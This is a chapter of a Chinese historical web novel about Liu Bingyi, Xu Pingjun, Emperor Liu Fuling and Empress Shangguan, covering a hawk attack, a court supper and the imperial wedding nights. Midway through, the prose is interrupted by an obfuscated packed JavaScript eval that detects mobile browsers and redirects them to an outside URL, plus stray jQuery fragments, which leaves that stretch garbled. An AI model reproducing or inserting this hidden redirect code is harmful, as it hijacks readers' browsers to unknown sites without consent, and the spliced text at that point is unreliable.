南园遗爱杨小依

7.椒房殿暖

    鹰依旧紧追不舍,奔跑中,平君脚下一滑,就要跌落下去,欧侯云青大惊,连忙抓住平君的手,身体扑倒在地面上,使出浑身的力气不让平君掉下陡坡。


    “平君!快爬上来!”他着急大喊。


    这坡很陡,没那么容易爬上来,关键是还有那两只鹰紧追不舍,一看着自己好像占了点上风,又赶着扑腾了上来,绝不放过这到了嘴边的猎物。


    “云青,你快跑!”平君看局势不妙,也只好让欧侯云青先躲。


    欧侯云青惊慌不已,而平君这句话让他如获大赦,他匆忙说了声“你抓好”就滚到一旁。


    那一刹那,苍鹰掠过平君的手掌,一阵极速的冷风吹过,平君无法忽视这种压迫,也再也抓不住地上稀疏的野草,松开了手整个人往下滑去。


    “平君!”跑出树林的刘病已看见这一幕,忍不住大呼出声。


    他三两步快跑到陡坡旁,直接往下冲了去。


    两只鹰又俯身来挑衅,杜佗直接拿起弹弓将两个石子弹射出去,居然击中其中一只。


    他得意地露出牙齿,朝欧侯云青喊道:“还不快跑,一会它们又要来找我们报仇了!”


    说完,他快速躲进了树林中,欧侯云青皱眉起身,只好也钻进林子。


    ……


    天上响彻着两只苍鹰尖锐而愤怒的叫声,山坡下,病已赶到平君的身旁:“平君,你怎么样?”


    他一边说着,一边抬头观察着那两只鹰的动向。


    平君只感觉病已单薄的身体盖在自己上头,几乎遮盖了整片天空。


    “我没事,你下来干什么?”她低下头问。


    病已拉起平君就往林子里躲避,而那两只鹰似乎被其他的什么吸引了注意,并没有对他们穷追不舍。


    “先躲躲吧。”病已说着拍了拍身上的尘土。


    平君看见病已右边脸颊留下的灰土有些滑稽,伸出手指了指,示意他自己擦掉。


    病已的眼神却停在平君的手上,那里有一道鲜红的伤口。


    “嘶……”平君也后知后觉,现在才觉得自己的手背疼得厉害:“刚才被那鹰爪子勾到了。”


    她从腰间拿出来一块手帕,病已很自然地接了过去,缠住她的伤口。


    病已的动作很轻,轻到平君足够感受到他的小心翼翼。少年向来是内敛沉稳的,却在这个时候暴露了更多平常时候不易察觉的情绪。


    平君看着他的眼睛,问:“还没回答我呢,你下来干什么?”


    “来找你。”病已说完就转过身去,他低下头,松开了她的手:“嗯……是因为杜佗,是他惹火了鹰,才让你们遭了这无妄之灾。”


    平君沉默,一时间,连空气都静默了。


    “我去看看情况,另外找条路上去,赶回城里请个医者给你瞧瞧。”病已说着就往林子边缘去试探。


    平君跟在他后面。她看见天空已经没有苍鹰的身影,只剩一片了无生机的颜色,心里却感觉十分平静。


    她知道,这份平静源自于病已,病已此刻在她身旁,她就知道自己不是孤独无依的一个人。


    病已很快发现了一个还不错的登山位置,他行在前头,细心地告诉平君应该下脚的地方,平君跟着他的脚步,走得并不吃力,稍微陡一点的路,病已还会伸手拉她一把。


    终于爬上山坡,前方赶来相助的人立马就发现了他们两个,欧侯云青和张彭祖跑在最前面,呼喊着两人的名字。


    刘贺也跟着来了,他走得不算急,差不多等旁的人寒暄完了才到:“人没事就好,快去吃个烤鹌鹑,压压惊。”


    他这话是对着平君说的,说完看见她手上缠着的手帕渗出血迹,又补充道:“本王有个随行医者,让他给你瞧瞧,别留下什么疤痕。”


    张彭祖在一旁骂骂咧咧埋怨着欧侯云青,还把那两只鹰给臭骂了一顿。


    欧侯云青心里有愧,也不还嘴了,老实地扶着平君往扎营的地方走。


    只有病已愣在原地,还是彭祖喊他才回过神,他感觉,有什么很重要的事情没有说出口,他说不清那是什么,只感觉到一种怅然若失的情绪在逐渐蔓延。


    几人回到掖庭的时候已临近夜禁,病已没有多和平君说什么话,两人甚至连道别都没有,只有互相之间一个对视的眼神。


    第二天,平君带着枣糕来找到了病已。


    她笑嘻嘻的,脸蛋如同这掖庭里的阳光,和煦温柔,又生机勃勃。


    “病已,吃糕。”


    彭祖在一旁翻了个白眼:“怎么,我不能吃啊?”


    平君便撅嘴道:“你还用得着我招呼?再说,我是特意来感谢病已的,你能跟着沾光已经不错了。”


    病已听言,眉眼间神色格外温和,问平君:“手好些了吗?”


    “没事的,少碰水,很快会愈合。”平君点点头,恬静而满怀期待地笑着:“病已,去东市瞧瞧?”


    病已点头应允。


    彭祖忙咽下口里的糕点,伸着脑袋问道:“去东市买什么好东西?”


    “谁说要买东西?”平君扯上病已的衣袖就往外跑:“你倒是猜猜我们去做什么?”


    这话可激起了彭祖的脾气,他抬脚欲追,却被病已拦在门口:“彭祖,老实点待着。”


    说完,也不管彭祖的脸变成了什么颜色,和平君快速离开了。


    只是自己憋笑着,直到跑出了好远,确定彭祖听不见了,才和平君一起开怀大笑起来。


    他们很少笑得如此开心,但笑得开心的时候往往在一起。


    回过神来,平君松开拉着病已衣袖的手,然后昂首走在前头带路。


    病已将双手负在身后,微微抬着头,今日的天空万里无云,阳光正懒散地洒在他的脸上。


    ……


    刘弗陵大婚的前夜将病已宣进了温室殿。


    病已入殿之时,刘弗陵正和刘贺相对而坐,两人身前的桌案上有个铜炉,里面正煮着什么,整个室内飘散出食物诱人的味道。


    刘弗陵先封上官萦阳为婕妤,后册为皇后,故册封仪式并不会兴师动众,但温室殿作为皇帝日常起居的场所,装饰也有些过于朴素了。


    刘弗陵朝他抬了抬手,示意他无须多礼。


    病已便收回思绪,恭敬地坐到两人身边。


    刘贺笑道:“好侄儿,本王这铜锅,不同风味的食材可以同时涮煮,煮好后再蘸上你面前这些风味俱佳的蘸料,香得很。”


    “昌邑王在封地当真是逍遥自在,比起朕这个皇帝,可是有口福得多,病已,你也来尝尝。”


    “陛下,臣就是个帮您试菜的,试得好,臣都给您送来。”刘贺连忙笑着应道。


    刘弗陵只摇摇头:“两位,今日我们不论君臣,只说亲缘。你们,都是我的亲人。”


    他说完直饮一杯,刘贺与病已也连忙跟上。


    “这是西域的葡萄酒,入口回甘不晕人,我喝感觉甚好,你们呢?”


    刘贺便也对这酒夸赞起来,病已还是喝不惯,咳了几声,自惭形愧。


    刘弗陵苦笑一下:“多喝几杯,你便习惯了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194926|164820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    论亲缘,当今陛下还有两位兄长,也还有姐姐,但兄长时刻谋夺这九五至尊的位置,长姐则当他是实现自我利益的工具,刘弗陵觉得,或许玩世不恭的刘贺以及手无寸铁的病已更像是他纯粹的亲人。


    这种感觉延续到他与上官萦阳成亲的当晚。


    上官萦阳稚嫩的面庞带着并不明艳的妆容,眼睛犹如两汪清泉正汩汩流淌着她的天真纯洁,笨重而繁杂的首饰在她身上仿佛累赘,压着她娇小的身躯。


    她小心翼翼地抬着头,看着刘弗陵,她的丈夫,当今皇帝,一个看起来有些弱不禁风的少年。


    两人的视线凝聚在这一刻。


    上官萦阳不觉得面前的人是家人口里那个拥有无上权力的君王,他没有高大威猛,没有五官凌厉,他反倒只更像是一个疲倦的失去了家的孩子。


    她知道先帝对刘弗陵和他母亲做过的事,此时相见,看见他寂寥的神色,心里不由生出了怜悯。


    而刘弗陵恍然大悟,上官氏不过还是个孩子,一个被家庭操控了人生的孩子。


    刘弗陵将案上的两杯合卺酒一饮而尽,自嘲式的笑了笑:“睡吧。”


    上官萦阳却不尽兴,她想,这个皇帝是有多百无聊赖才会这样早睡,所以,她下了床走到他跟前:“陛下,我们来下六博棋。”


    ……


    第二日,上官萦阳醒来时刘弗陵已经不在身旁,她打了个哈欠,眼睛里被生生挤出来一滴泪珠。


    她看见,桌上还留着昨晚的残局。


    她在家里自诩聪慧过人,六博棋的技艺在同龄人中是无出其右,许平君的棋艺就不如她。那和比她大上几岁的皇帝,应当也是有得一比的,昨夜一试,果然她料想非虚,和皇帝对弈若干个回合,居然也没分出胜负。


    两人便约定今夜再战。


    他们一连下了三夜的棋,上官萦阳发现,刘弗陵笑起来的时候其实格外好看,是有些秀气儒雅的美。


    在静谧的有些不真实的宫殿里,隔着宫灯淡黄的氤氲,是刘弗陵的举止与笑容让宫殿里的气息多了真实和暖意。


    “嗯,陛下?”上官萦阳觉得刘弗陵既然笑了,心情应当不错。


    “怎么了?”


    “今天我去见了父亲,他和我说了一件事。”


    刘弗陵停下手中的动作,认真地等待她继续说。


    “这宫中是没有护卫军队首领的,您不觉得需要赶紧让人担起这护卫之责么?”萦阳没有察觉刘弗陵微妙的情绪变化,反而语气有些兴奋:“您是什么人呐,哪能没有个信得过的人来护卫您的安全?”


    刘弗陵继续一步棋,问道:“那你觉得谁合适?”


    “我兄长上官连怎么样?他可是上官家的长孙。”


    刘弗陵嘴角上扬,脸色却有几分苍白:“你的兄长,那也是皇亲国戚了。”


    上官萦阳跟上一步,郑重其事地点了点头,在她看来,自己的亲戚掌握宫廷的安全,是顺理成章的事。


    刘弗陵不语,继续走了一步棋,这一步棋,直接堵死了上官萦阳的主君。


    “你输了。”


    刘弗陵平静地说,说完便离开了椒房殿。


    上官萦阳没有起身相送,她痴痴地看着满满当当的棋盘,思考着自己究竟是从何时起落入刘弗陵的圈套之中。


    她觉得,一定是今日说话太多分了神,才给了他可乘之机,那明日,一定要好好赢他。


    但第二日刘弗陵没有来,平君也没有来,上官萦阳靠在椒房殿香料堆砌的屋檐下,生气地望着天上的月。